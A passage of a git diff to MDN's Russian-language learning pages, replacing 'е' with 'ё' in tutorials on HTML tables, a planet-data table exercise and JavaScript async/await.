href="http://mdn.github.io/learning-area/html/tables/basic/personal-pronouns.html">живой пример (look at the live example)</a>! Вы заметите, что таблица там выглядит иначе — это потому, что на сайте MDN к этим данным была применена таблица стилей, а приведенный в GitHub пример информации о стиле не имеет.</p> +<p><a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/personal-pronouns.html">Исходный код HTML (HTML source code)</a> вышеприведённой таблице есть в GitHub; посмотрите его и <a href="http://mdn.github.io/learning-area/html/tables/basic/personal-pronouns.html">живой пример (look at the live example)</a>! Вы заметите, что таблица там выглядит иначе — это потому, что на сайте MDN к этим данным была применена таблица стилей, а приведённый в GitHub пример информации о стиле не имеет.</p> <p>Не питайте ложных иллюзий - чтобы эффективно представлять таблицы в веб, необходимо придать им хорошую структуру в HTML и применить к ним таблицы стилей (<a href="/en-US/docs/Learn/CSS">CSS</a>). В данном разделе мы сфокусируемся на HTML, чтобы узнать о том, что касается CSS, вам надо обратиться к статье <a href="/en-US/docs/Learn/CSS/Styling_boxes/Styling_tables">Стилизация таблиц</a>.</p> <p>В этом разделе мы не фокусируемся на CSS, но все же дали простейшую таблицу стилей CSS, чтобы сделать таблицы более читабельными. Эту таблицу стилей можно найти <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">здесь</a>, можно также использовать <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">шаблон HTML</a>, применяющий эту стаблицу стилей — вместе они дадут вам хорошую основу для экспериментов с таблицами HTML.</p> <div class="note"> -<p><strong>Примечание</strong>: Посмотрите также <a href="http://mdn.github.io/learning-area/html/tables/basic/personal-pronouns-styled.html">таблицу personal_pronouns с примененным к ней стилем</a>, чтобы получить представление о том, как она выглядит.</p> +<p><strong>Примечание</strong>: Посмотрите также <a href="http://mdn.github.io/learning-area/html/tables/basic/personal-pronouns-styled.html">таблицу personal_pronouns с применённым к ней стилем</a>, чтобы получить представление о том, как она выглядит.</p> </div> <h3 id="Когда_не_надо_использовать_таблицы_HTML">Когда не надо использовать таблицы HTML?</h3> @@ -116,21 +116,21 @@ translation_of: Learn/HTML/Tables/Basics <ol> <li><strong>Таблицы, используемые для оформления, уменьшают доступность страниц для людей, имеющих проблемы со зрением</strong>: <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">Скринридеры (Screenreaders</a>), используемые ими, интерпретируют HTML-теги и читают содержимое пользователю. Поскольку таблицы не являются средством для представления структуры таблицы, и разметка получается сложнее, чем при использовании методов CSS, скринридеры вводят пользователей в заблуждение.</li> - <li><strong>Таблицы создают путаницу тегов</strong>: Как уже упоминалось, оформление страниц с помощью таблиц дает более сложную структуру разметки, чем специально предназначенные для этого методы. Соответственно, такой код труднее писать, поддерживать и отлаживать.</li> + <li><strong>Таблицы создают путаницу тегов</strong>: Как уже упоминалось, оформление страниц с помощью таблиц даёт более сложную структуру разметки, чем специально предназначенные для этого методы. Соответственно, такой код труднее писать, поддерживать и отлаживать.</li> <li><strong>Таблицы не реагируют автоматически на тип устройства</strong>: У надлежащих контейнеров (например, {{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}}, или {{htmlelement("div")}}) ширина по умолчанию равна 100% от их родительского элемента. У таблиц же размер по умолчанию подстраивается под их содержимое, так что чтобы они одинаково хорошо работали на разных типах устройств необходимо принимать дополнительные меры.</li> </ol> <h2 id="Упражнение_Ваша_первая_таблица">Упражнение: Ваша первая таблица</h2> -<p>Итак, мы уже достаточно говорили о теории, теперь возьмем конкретный пример и построим таблицу.</p> +<p>Итак, мы уже достаточно говорили о теории, теперь возьмём конкретный пример и построим таблицу.</p> <ol> <li>Прежде всего, создайте локальную копию <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">blank-template.html</a> и <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> в новой папке на вашем компьютере.</li> <li>Содержимое любой таблицы заключается между двумя тегами : <strong><code><a href="/en-US/docs/Web/HTML/Element/table"><table></table></a></code></strong>. Добавьте их в тело HTML.</li> - <li>Самым маленьким контейнером в таблице является ячейка, она создается элементом <strong><code><a href="/en-US/docs/Web/HTML/Element/td"><td></a></code></strong> ('td' - сокращение от 'table data'). Введите внутри тегов table следующее: + <li>Самым маленьким контейнером в таблице является ячейка, она создаётся элементом <strong><code><a href="/en-US/docs/Web/HTML/Element/td"><td></a></code></strong> ('td' - сокращение от 'table data'). Введите внутри тегов table следующее: <pre class="brush: html notranslate"><td>Hi, I'm your first cell.</td></pre> </li> - <li>Чтобы получить строку из четырех ячеек, необходимо скопировать эти теги три раза. Обновите содержимое таблицы так, чтобы она выглядела следующим образом: + <li>Чтобы получить строку из четырёх ячеек, необходимо скопировать эти теги три раза. Обновите содержимое таблицы так, чтобы она выглядела следующим образом: <pre class="brush: html notranslate"><td>Hi, I'm your first cell.</td> <td>I'm your second cell.</td> <td>I'm your third cell.</td> @@ -138,7 +138,7 @@ translation_of: Learn/HTML/Tables/Basics </li> </ol> -<p>Как видите, ячейки не располагаются одна под другой, на самом деле они автоматически выравниваются по отношению к другим ячейкам той же строки. Каждый элемент <code><td> </code>создает отдельную ячейку, а все вместе они создают первую строку. Каждая добавленная ячейка удлиняет эту строку.</p> +<p>Как видите, ячейки не располагаются одна под другой, на самом деле они автоматически выравниваются по отношению к другим ячейкам той же строки. Каждый элемент <code><td> </code>создаёт отдельную ячейку, а все вместе они создают первую строку. Каждая добавленная ячейка удлиняет эту строку.</p> <p>Чтобы эта строка перестала расти, а новые ячейки перешли на вторую строку, необходимо использовать элемент <strong><code><a href="/en-US/docs/Web/HTML/Element/tr"><tr></a></code></strong> ('tr' - сокращение от 'table row'). Попробуем, как это получится.</p> @@ -152,7 +152,7 @@ translation_of: Learn/HTML/Tables/Basics <td>I'm your fourth cell.</td> </tr></pre> </li> - <li>Теперь, когда одна строка уже есть, добавим еще — каждую строку надо вложить в дополнительный элемент <code><tr></code>, а каждая ячейка должна быть внутри <code>элемента <td></code>.</li> + <li>Теперь, когда одна строка уже есть, добавим ещё — каждую строку надо вложить в дополнительный элемент <code><tr></code>, а каждая ячейка должна быть внутри <code>элемента <td></code>.</li> </ol> <p>В результате получится таблица, которая будет выглядеть примерно так:</p> @@ -180,7 +180,7 @@ translation_of: Learn/HTML/Tables/Basics <h2 id="Добавление_заголовков_с_помощью_элементов_<th>">Добавление заголовков с помощью элементов <th></h2> -<p>Теперь обратимся к табличным заголовкам — особым ячейкам, которые идут вначале строки или столбца и определяют тип данных, которые содержит данная строка или столбец (как "Person" и "Age" в первом примере данной статьи). Чтобы показать, для чего они нужны, возьмем следующий пример. Сначала исходный код:</p> +<p>Теперь обратимся к табличным заголовкам — особым ячейкам, которые идут вначале строки или столбца и определяют тип данных, которые содержит данная строка или столбец (как "Person" и "Age" в первом примере данной статьи). Чтобы показать, для чего они нужны, возьмём следующий пример. Сначала исходный код:</p> <pre class="brush: html notranslate"><table> <tr> @@ -262,7 +262,7 @@ translation_of: Learn/HTML/Tables/Basics </tbody> </table> -<p>Проблема в том, что, хотя вы и можете представить, о чем идет речь, ссылаться на эти данные не так легко, как хотелось бы. Лучше, чтобы строка и столбец с заголовками как-то выделялись.</p> +<p>Проблема в том, что, хотя вы и можете представить, о чем идёт речь, ссылаться на эти данные не так легко, как хотелось бы. Лучше, чтобы строка и столбец с заголовками как-то выделялись.</p> <h3 id="Упражнение_заголовки">Упражнение: заголовки</h3> @@ -270,7 +270,7 @@ translation_of: Learn/HTML/Tables/Basics <ol> <li>Сначала создайте локальную копию <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table.html">dogs-table.html</a> и <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> в новой папке на вашем компьютере. HTML содержит пример Dogs, который вы уже видели выше.</li> - <li>Чтобы опознавать заголовки таблицы в качестве заголовков, визуально и семантически, можно использовать элемент <strong><code><a href="/en-US/docs/Web/HTML/Element/th"><th></a></code></strong> ('th' сокращение от 'table header'). Он работает в точности как <code><td></code>, за исключением того, что обозначает заголовок, а не обычную ячейку. Замените в своем HTML все элементы <code><td></code>, содержащие заголовки, на элементы <code><th></code>.</li> + <li>Чтобы опознавать заголовки таблицы в качестве заголовков, визуально и семантически, можно использовать элемент <strong><code><a href="/en-US/docs/Web/HTML/Element/th"><th></a></code></strong> ('th' сокращение от 'table header'). Он работает в точности как <code><td></code>, за исключением того, что обозначает заголовок, а не обычную ячейку. Замените в своём HTML все элементы <code><td></code>, содержащие заголовки, на элементы <code><th></code>.</li> <li>Сохраните HTML и загрузите его в браузер, и вы увидите, что заголовки теперь выглядят как заголовки.</li> </ol> @@ -283,14 +283,14 @@ translation_of: Learn/HTML/Tables/Basics <p>Мы уже частично ответили на этот вопрос — когда заголовки выделяются, легче искать данные и таблица выглядит лучше.</p> <div class="note"> -<p><strong>Примечание</strong>: По умолчанию к заголовкам таблицы применяется определенный стиль — они выделены жирным шрифтом и выровнены по центру, даже если вы не задавали для них стиль специально.</p> +<p><strong>Примечание</strong>: По умолчанию к заголовкам таблицы применяется определённый стиль — они выделены жирным шрифтом и выровнены по центру, даже если вы не задавали для них стиль специально.</p> </div> <p>Заголовки дают дополнительное преимущество — вместе с атрибутом <code>scope</code> (который мы будем изучать в следующей статье) они помогают улучшить связь каждого заголовка со всеми данными строки или столбца одновременно, что довольно полезно</p> <h2 id="Слияние_нескольких_строк_или_столбцов">Слияние нескольких строк или столбцов</h2> -<p>Иногда нам нужно, чтобы ячейки распространялись на несколько строк или столбцов. Возьмем простой пример, в котором приведены имена животных. Иногда бывает нужно вывести имена людей рядом с именами животных. А иногда это не требуется, и тогда мы хотим, чтобы имя животного занимало всю ширину.</p> +<p>Иногда нам нужно, чтобы ячейки распространялись на несколько строк или столбцов. Возьмём простой пример, в котором приведены имена животных. Иногда бывает нужно вывести имена людей рядом с именами животных. А иногда это не требуется, и тогда мы хотим, чтобы имя животного занимало всю ширину.</p> <p>Исходная разметка выглядит так:</p> @@ -372,7 +372,7 @@ translation_of: Learn/HTML/Tables/Basics <p>И последняя возможность, о которой рассказывается в данной статье. HTML позволяет указать, какой стиль нужно применять к целому столбцу данных сразу — для этого применяют элементы <strong><code><a href="/en-US/docs/Web/HTML/Element/col"><col></a></code></strong> и <strong><code><a href="/en-US/docs/Web/HTML/Element/colgroup"><colgroup></a></code></strong>. Их ввели, поскольку задавать стиль для каждой ячейки в отдельности или использовать сложный селектор вроде {{cssxref(":nth-child()")}} было бы слишком утомительно.</p> -<p>Возьмем простой пример:</p> +<p>Возьмём простой пример:</p> <pre class="brush: html notranslate"><table> <tr> @@ -389,7 +389,7 @@ translation_of: Learn/HTML/Tables/Basics </tr> </table></pre> -<p>Что дает нам:</p> +<p>Что даёт нам:</p> <table> <tbody> @@ -408,7 +408,7 @@ translation_of: Learn/HTML/Tables/Basics </tbody> </table> -<p>Он не идеален, поскольку нам пришлось повторить информацию о стиле для всех трех ячеек в столбце (в реальном проекте, возможно, придется вводить <code>class</code> на всех трех и вводит правило в таблице стилей). Вместо этого, мы можем задать информацию один раз, в элементе <code><col></code>. <code>Элемент <col></code> задается в контейнере <code><colgroup></code> сразу же за открывающим тегом <code><table></code>. Эффект, который мы видели выше, можно задать так:</p> +<p>Он не идеален, поскольку нам пришлось повторить информацию о стиле для всех трёх ячеек в столбце (в реальном проекте, возможно, придётся вводить <code>class</code> на всех трёх и вводит правило в таблице стилей). Вместо этого, мы можем задать информацию один раз, в элементе <code><col></code>. <code>Элемент <col></code> задаётся в контейнере <code><colgroup></code> сразу же за открывающим тегом <code><table></code>. Эффект, который мы видели выше, можно задать так:</p> <pre class="brush: html notranslate"><table> <colgroup> @@ -429,7 +429,7 @@ translation_of: Learn/HTML/Tables/Basics </tr> </table></pre> -<p>Мы определяем два "стилизующих столбца". Мы не применяем стиль к первому столбцу, но пустой элемент <code><col></code> ввести необходимо — иначе к первому столбцу не будет применен стиль.</p> +<p>Мы определяем два "стилизующих столбца". Мы не применяем стиль к первому столбцу, но пустой элемент <code><col></code> ввести необходимо — иначе к первому столбцу не будет применён стиль.</p> <p>Если бы мы хотели применить информацию о стиле к обоим столбцам, мы могли бы просто ввести один элемент <code><col></code> с атрибутом span, таким образом:</p> @@ -515,9 +515,9 @@ translation_of: Learn/HTML/Tables/Basics <li>Добавьте элемент <code><colgroup></code> вверху таблицы, сразу же под тегом <code><table></code>, куда вы сможете вставлять элементы <code><col></code>.</li> <li>Первые два столбца надо оставить без стиля..</li> <li>Добавьте цвет фона для третьего столбца. Значением атрибута <code>style</code> будет <code>background-color:#97DB9A;</code></li> - <li>Задайте ширину для четвертого столбца. <code>Значением атрибута style</code> будет <code>width: 42px;</code></li> + <li>Задайте ширину для четвёртого столбца. <code>Значением атрибута style</code> будет <code>width: 42px;</code></li> <li>Добавьте цвет фона для пятого столбца. Значением атрибута <code>style</code> будет <code>background-color: #97DB9A;</code></li> - <li>Добавьте другой цвет фона и границу для шестого столбца, чтобы показать, что это особый день и она ведет новый класс. Значениями атрибута <code>style</code> будут: <code>background-color:#DCC48E; border:4px solid #C1437A;</code></li> + <li>Добавьте другой цвет фона и границу для шестого столбца, чтобы показать, что это особый день и она ведёт новый класс. Значениями атрибута <code>style</code> будут: <code>background-color:#DCC48E; border:4px solid #C1437A;</code></li> <li>Последние два дня выходные; значением атрибута style <code>будет width: 42px;</code></li> </ol> diff --git a/files/ru/learn/html/tables/index.html b/files/ru/learn/html/tables/index.html index 609f1b36fe..3f3d4e5cb8 100644 --- a/files/ru/learn/html/tables/index.html +++ b/files/ru/learn/html/tables/index.html @@ -5,7 +5,7 @@ translation_of: Learn/HTML/Tables --- <div>{{LearnSidebar}}</div> -<p class="summary">Структурирование табличных данных является в HTML самой обычной задачей, для этой цели есть множество элементов и атрибутов. С добавлением таблиц стилей (<a href="/ru-RU/docs/Learn/CSS">CSS</a>) HTML с легкостью позволяет выводить в веб различные таблицы, например, расписание школьных уроков, график посещения бассейна, или статистические данные о ваших любимых динозаврах или футбольных командах. В данном разделе вы узнаете все, что вам потребуется для структурирования табличных данных с помощью HTML.</p> +<p class="summary">Структурирование табличных данных является в HTML самой обычной задачей, для этой цели есть множество элементов и атрибутов. С добавлением таблиц стилей (<a href="/ru-RU/docs/Learn/CSS">CSS</a>) HTML с лёгкостью позволяет выводить в веб различные таблицы, например, расписание школьных уроков, график посещения бассейна, или статистические данные о ваших любимых динозаврах или футбольных командах. В данном разделе вы узнаете все, что вам потребуется для структурирования табличных данных с помощью HTML.</p> <h2 id="Необходимые_условия">Необходимые условия</h2> diff --git a/files/ru/learn/html/tables/structuring_planet_data/index.html b/files/ru/learn/html/tables/structuring_planet_data/index.html index 85c3d9dc91..78c6a63a01 100644 --- a/files/ru/learn/html/tables/structuring_planet_data/index.html +++ b/files/ru/learn/html/tables/structuring_planet_data/index.html @@ -36,7 +36,7 @@ translation_of: Learn/HTML/Tables/Structuring_planet_data <h2 id="Краткое_описание_проекта">Краткое описание проекта</h2> -<p>Вы работаете в школе. В настоящее время ваши ученики изучают планеты солнечной системы, и вы хотите обеспечить их наглядным пособием для поиска фактов и данных о планетах. Таблица HTML была бы идеальным вариантом — вам необходимо взять необработанные данные, которые у вас есть, и превратить их в таблицу, следуя нижеприведенным инструкциям.</p> +<p>Вы работаете в школе. В настоящее время ваши ученики изучают планеты солнечной системы, и вы хотите обеспечить их наглядным пособием для поиска фактов и данных о планетах. Таблица HTML была бы идеальным вариантом — вам необходимо взять необработанные данные, которые у вас есть, и превратить их в таблицу, следуя нижеприведённым инструкциям.</p> <p>Готовая таблица должна выглядеть так:</p> @@ -49,16 +49,16 @@ translation_of: Learn/HTML/Tables/Structuring_planet_data <h2 id="Шаги_для_завершения">Шаги для завершения</h2> -<p>Следующие шаги описывают что вам нужно сделать, чтобы завершить пример таблицы. Все данные, что вам нужны находятся в файле <code>planets-data.txt</code>. Если у вас возникли проблемы с визуализацией данных, посмотрите приведенный выше пример или попробуйте нарисовать диаграмму.</p> +<p>Следующие шаги описывают что вам нужно сделать, чтобы завершить пример таблицы. Все данные, что вам нужны находятся в файле <code>planets-data.txt</code>. Если у вас возникли проблемы с визуализацией данных, посмотрите приведённый выше пример или попробуйте нарисовать диаграмму.</p> <ol> <li>Откройте вашу копию <code>blank-template.html</code> , и запустите таблицу, предоставив ей внешний контейнер, заголовок и тело таблицы. Вам не нужен нижний колонтитул (footer) для этого примера.</li> <li>Добавьте предоставленную подпись к вашей таблице ("Caption" в конце <code>planets-data.txt</code>).</li> <li>Добавьте строку в заголовок таблицы, содержащую все заголовки столбцов.</li> <li>Создайте все строки содержимого внутри тела таблицы, помня, что все заголовки строк должны быть <em>семантически</em>.</li> - <li>Убедитесь, что весь контент помещен в нужные ячейки - в исходных данных каждая строка данных о планете отображается рядом со связанной с ней планетой.</li> + <li>Убедитесь, что весь контент помещён в нужные ячейки - в исходных данных каждая строка данных о планете отображается рядом со связанной с ней планетой.</li> <li>Добавьте атрибуты, чтобы заголовки строк и столбцов были однозначно связаны со строками, столбцами или группами строк, для которых они выступают в качестве заголовков.</li> - <li>Добавьте черную рамку вокруг столбца, который содержит все заголовки строк с именами планет.</li> + <li>Добавьте чёрную рамку вокруг столбца, который содержит все заголовки строк с именами планет.</li> </ol> <h2 id="Подсказки_и_советы">Подсказки и советы</h2> diff --git a/files/ru/learn/index.html b/files/ru/learn/index.html index 58282e7a14..521272d551 100644 --- a/files/ru/learn/index.html +++ b/files/ru/learn/index.html @@ -72,7 +72,7 @@ translation_of: Learn <dt><a href="/ru/docs/Learn/Performance">Производительность веб-приложений: делаем сайты быстрыми и отзывчивыми </a></dt> <dd>Веб-производительность — это искусство обеспечения быстрой загрузки веб-приложений и их реагирования на действия пользователя, независимо от скорости соединения пользователя, размера экрана, сети или возможностей устройства.</dd> <dt><a href="/en-US/docs/Learn/Tools_and_testing">Инструменты и тестирование</a></dt> - <dd>В этой теме рассматриваются инструменты, которые разработчики используют для оптимизации своей работы, например: инструменты для кросс-браузерного тестирования, линтеры, средства форматирования, инструменты преобразования, системы контроля версий, инструменты развертывания и клиентские JavaScript-фреймворки.</dd> + <dd>В этой теме рассматриваются инструменты, которые разработчики используют для оптимизации своей работы, например: инструменты для кросс-браузерного тестирования, линтеры, средства форматирования, инструменты преобразования, системы контроля версий, инструменты развёртывания и клиентские JavaScript-фреймворки.</dd> <dt><a href="/ru/docs/Learn/Server-side">Серверное программирование веб-сайтов</a></dt> <dd>Даже если вы преимущественно интересуетесь фронтенд-разработкой, всё равно полезно знать, как работают серверы и функции, написанные на серверном коде. В этой теме представлены общие сведения о том, как работает серверная часть, и подробные руководства по созданию серверного приложения с использованием двух популярных фреймворков: Django (Python) и Express (Node.js).</dd> </dl> diff --git a/files/ru/learn/javascript/asynchronous/async_await/index.html b/files/ru/learn/javascript/asynchronous/async_await/index.html index bef0f49847..4c0c08ae33 100644 --- a/files/ru/learn/javascript/asynchronous/async_await/index.html +++ b/files/ru/learn/javascript/asynchronous/async_await/index.html @@ -11,7 +11,7 @@ translation_of: Learn/JavaScript/Asynchronous/Async_await <div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}</div> -<p class="summary">В ECMAScript версии 2017 появились <a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async functions</a> и ключевое слово <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a></code> (<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next support in Mozilla</a>). По существу, такие функции есть синтаксический сахар над Promises и Generator functions (<a href="https://tc39.es/ecmascript-asyncawait/">ts39</a>). С их помощью легче писать/читать асинхронный код, ведь они позволяют использовать привычный синхронный стиль написания. В этой статье мы на базовом уровне разберемся в их устройстве.</p> +<p class="summary">В ECMAScript версии 2017 появились <a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async functions</a> и ключевое слово <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a></code> (<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next support in Mozilla</a>). По существу, такие функции есть синтаксический сахар над Promises и Generator functions (<a href="https://tc39.es/ecmascript-asyncawait/">ts39</a>). С их помощью легче писать/читать асинхронный код, ведь они позволяют использовать привычный синхронный стиль написания. В этой статье мы на базовом уровне разберёмся в их устройстве.</p> <table class="learn-box standard-table"> <tbody> @@ -41,7 +41,7 @@ hello();</pre> <p>Функция возвращает "Hello" — ничего необычного, верно ?</p> -<p>Но что если мы сделаем ее асинхронной ? Проверим:</p> +<p>Но что если мы сделаем её асинхронной ? Проверим:</p> <pre class="brush: js notranslate">async function hello() { return "Hello" }; hello();</pre> @@ -63,16 +63,16 @@ hello();</pre> <pre class="brush: js notranslate">hello().then((value) => console.log(value))</pre> -<p>или еще короче</p> +<p>или ещё короче</p> <pre class="brush: js notranslate">hello().then(console.log) </pre> -<p>Итак, ключевое слово <code>async</code>, превращает обычную функцию в асинхронную и результат вызова функции оборачивает в Promise. Также асинхронная функция позволяет использовать в своем теле ключевое слово await, о котором далее.</p> +<p>Итак, ключевое слово <code>async</code>, превращает обычную функцию в асинхронную и результат вызова функции оборачивает в Promise. Также асинхронная функция позволяет использовать в своём теле ключевое слово await, о котором далее.</p> <h3 id="Ключевое_слово_await">Ключевое слово await</h3> -<p>Асинхронные функции становятся по настоящему мощными, когда вы используете ключевое слово <a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a> — по факту, <strong><code>await</code> работает только в асинхронных функциях</strong>. Мы можем использовать await перед promise-based функцией, чтобы остановить поток выполнения и дождаться результата ее выполнения (результат Promise). В то же время, остальной код нашего приложения не блокируется и продолжает работать.</p> +<p>Асинхронные функции становятся по настоящему мощными, когда вы используете ключевое слово <a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a> — по факту, <strong><code>await</code> работает только в асинхронных функциях</strong>. Мы можем использовать await перед promise-based функцией, чтобы остановить поток выполнения и дождаться результата её выполнения (результат Promise). В то же время, остальной код нашего приложения не блокируется и продолжает работать.</p> <p>Вы можете использовать <code>await</code> перед любой функцией, что возвращает Promise, включая Browser API функции.</p> @@ -84,7 +84,7 @@ hello();</pre> hello().then(alert);</pre> -<p>Конечно, на практике код выше бесполезен, но в учебных целях он иллюстрирует синтаксис асинхронных функций. Теперь давайте перейдем к реальным примерам.</p> +<p>Конечно, на практике код выше бесполезен, но в учебных целях он иллюстрирует синтаксис асинхронных функций. Теперь давайте перейдём к реальным примерам.</p> <h2 id="Переписываем_Promises_с_использованием_asyncawait">Переписываем Promises с использованием async/await</h2> @@ -154,7 +154,7 @@ myFetch().then((blob) => { <h3 id="Минуточку_а_как_это_все_работает">Минуточку, а как это все работает ?</h3> -<p>Вы могли заметить, что мы обернули наш код в функцию и сделали ее асинхронной с помощью acync. Это было обязательно - нам надо создать контейнер, внутри которого будет запускаться асинхронный код и будет возможность дождаться его результата с помощью await, не блокируя остальной код нашего скрипта.</p> +<p>Вы могли заметить, что мы обернули наш код в функцию и сделали её асинхронной с помощью acync. Это было обязательно - нам надо создать контейнер, внутри которого будет запускаться асинхронный код и будет возможность дождаться его результата с помощью await, не блокируя остальной код нашего скрипта.</p> <p>Внутри <code>myFetch()</code> находится код, который слегка напоминает версию на Promise, но есть важные отличия. Вместо того, чтобы писать цепочку блоков <code>.then()</code> мы просто использует ключевое слово <code>await</code> перед вызовом promise-based функции и присваиваем результат в переменную. Ключевое слово <code>await</code> говорит JavaScript runtime приостановить код в этой строке, не блокируя остальной код скрипта за пределами асинхронной функции. Когда вызов promise-based функции будет готов вернуть результат, выполнение продолжится с этой строки дальше.<br> <br> @@ -162,7 +162,7 @@ myFetch().then((blob) => { <pre class="brush: js notranslate">let response = await fetch('coffee.jpg');</pre> -<p>Значение Promise, которое вернет <code>fetch()</code> будет присвоено переменной <code>response</code> только тогда, когда оно будет доступно - парсер делает паузу на данной строке дожидаясь этого момента. Как только значение доступно, парсер переходит к следующей строке, в которой создается объект <code><a href="/en-US/docs/Web/API/Blob">Blob</a></code> из результата Promise. В этой строке, кстати, также используется <code>await</code>, потому что метод <code>.blob()</code> также возвращает Promise. Когда результат готов, мы возвращаем его наружу из <code>myFetch()</code>.</p> +<p>Значение Promise, которое вернёт <code>fetch()</code> будет присвоено переменной <code>response</code> только тогда, когда оно будет доступно - парсер делает паузу на данной строке дожидаясь этого момента. Как только значение доступно, парсер переходит к следующей строке, в которой создаётся объект <code><a href="/en-US/docs/Web/API/Blob">Blob</a></code> из результата Promise. В этой строке, кстати, также используется <code>await</code>, потому что метод <code>.blob()</code> также возвращает Promise. Когда результат готов, мы возвращаем его наружу из <code>myFetch()</code>.</p> <p>Обратите внимание, когда мы вызываем <code>myFetch()</code>, она возвращает Promise, поэтому мы можем вызвать <code>.then()</code> на результате, чтобы отобразить его на экране.<br> <br> @@ -173,7 +173,7 @@ myFetch().then((blob) => { <p><br> Чтобы обработать ошибки у нас есть несколько вариантов</p> -<p>Мы можем использовать синхронную <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> структуру с <code>async</code>/<code>await</code>. Вот измененная версия первого примера выше:</p> +<p>Мы можем использовать синхронную <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> структуру с <code>async</code>/<code>await</code>. Вот изменённая версия первого примера выше:</p> <pre class="brush: js notranslate">async function myFetch() { try { @@ -195,7 +195,7 @@ myFetch().then((blob) => { myFetch();</pre> -<p>В блок <code>catch() {}</code> передается объект ошибки, который мы назвали <code>e</code>; мы можем вывести его в консоль, чтобы посмотреть детали: где и почему возникла ошибка.</p> +<p>В блок <code>catch() {}</code> передаётся объект ошибки, который мы назвали <code>e</code>; мы можем вывести его в консоль, чтобы посмотреть детали: где и почему возникла ошибка.</p> <p>Если вы хотите использовать гибридный подходы (пример выше), лучше использовать блок <code>.catch()</code> после блока <code>.then()</code> вот так:</p> @@ -229,7 +229,7 @@ myFetch().then((blob) => { <h2 id="Await_и_Promise.all">Await и Promise.all()</h2> -<p>Как вы помните, асинхронные функции построены поверх <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promises</a>, поэтому они совместимы со всеми возможностями последних. Мы легко можем подождать выполнение <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all">Promise.all()</a></code>, присвоить результат в переменную и все это сделать используя синхронный стиль. Опять, вернемся к <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">примеру, рассмотренному в предыдущей статье</a>. Откройте пример в соседней вкладке, чтобы лучше понять разницу.</p> +<p>Как вы помните, асинхронные функции построены поверх <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promises</a>, поэтому они совместимы со всеми возможностями последних. Мы легко можем подождать выполнение <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all">Promise.all()</a></code>, присвоить результат в переменную и все это сделать используя синхронный стиль. Опять, вернёмся к <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">примеру, рассмотренному в предыдущей статье</a>. Откройте пример в соседней вкладке, чтобы лучше понять разницу.</p> <p>Версия с async/await (смотрите <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-all-async-await.html">live demo</a> и <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-all-async-await.html">source code</a>), сейчас выглядит так:</p> @@ -284,9 +284,9 @@ displayContent() <pre class="brush: js notranslate">let values = await Promise.all([coffee, tea, description]);</pre> -<p>С помощью <code>await</code> мы ждем массив результатов всех трех Promises и присваиваем его в переменную <code>values</code>. Это асинхронный код, но он написан в синхронном стиле, за счет чего он гораздо читабельнее.<br> +<p>С помощью <code>await</code> мы ждём массив результатов всех трёх Promises и присваиваем его в переменную <code>values</code>. Это асинхронный код, но он написан в синхронном стиле, за счёт чего он гораздо читабельнее.<br> <br> - Мы должны обернуть весь код в синхронную функцию, <code>displayContent()</code>, и мы не сильно сэкономили на количестве кода, но мы извлекли код блока <code>.then()</code>, за счет чего наш код стал гораздо чище.</p> + Мы должны обернуть весь код в синхронную функцию, <code>displayContent()</code>, и мы не сильно сэкономили на количестве кода, но мы извлекли код блока <code>.then()</code>, за счёт чего наш код стал гораздо чище.</p> <p>Для обработки ошибок мы добавили блок <code>.catch()</code> для функции <code>displayContent()</code>; Это позволило нам отловить ошибки в обоих функциях.</p> @@ -300,7 +300,7 @@ displayContent() <p>Async/await позволяет вам писать код в синхронном стиле. Ключевое слово <code>await</code> блокирует приостанавливает выполнение ptomise-based функции до того момента, пока promise примет статус fulfilled. Это не блокирует код за пределами вашей асинхронной функции, тем не менее важно помнить, что внутри асинхронной функции поток выполнения блокируется.<br> <br> - Ваш код может стать медленнее за счет большого количества awaited promises, которые идут один за другим. Каждый <code>await</code> должен дождаться выполнения предыдущего, тогда как на самом деле мы хотим, чтобы наши Promises выполнялись одновременно, как если бы мы не использовали async/await.<br> + Ваш код может стать медленнее за счёт большого количества awaited promises, которые идут один за другим. Каждый <code>await</code> должен дождаться выполнения предыдущего, тогда как на самом деле мы хотим, чтобы наши Promises выполнялись одновременно, как если бы мы не использовали async/await.<br> <br> Есть подход, который позволяет обойти эту проблему - сохранить все выполняющиеся Promises в переменные, а уже после этого дожидаться (awaiting) их результата. Давайте посмотрим на несколько примеров.</p> @@ -339,7 +339,7 @@ timeTest().then(() => { await timeoutPromise(3000); }</pre> -<p>Здесь мы просто ждем все три <code>timeoutPromise()</code> напрямую, 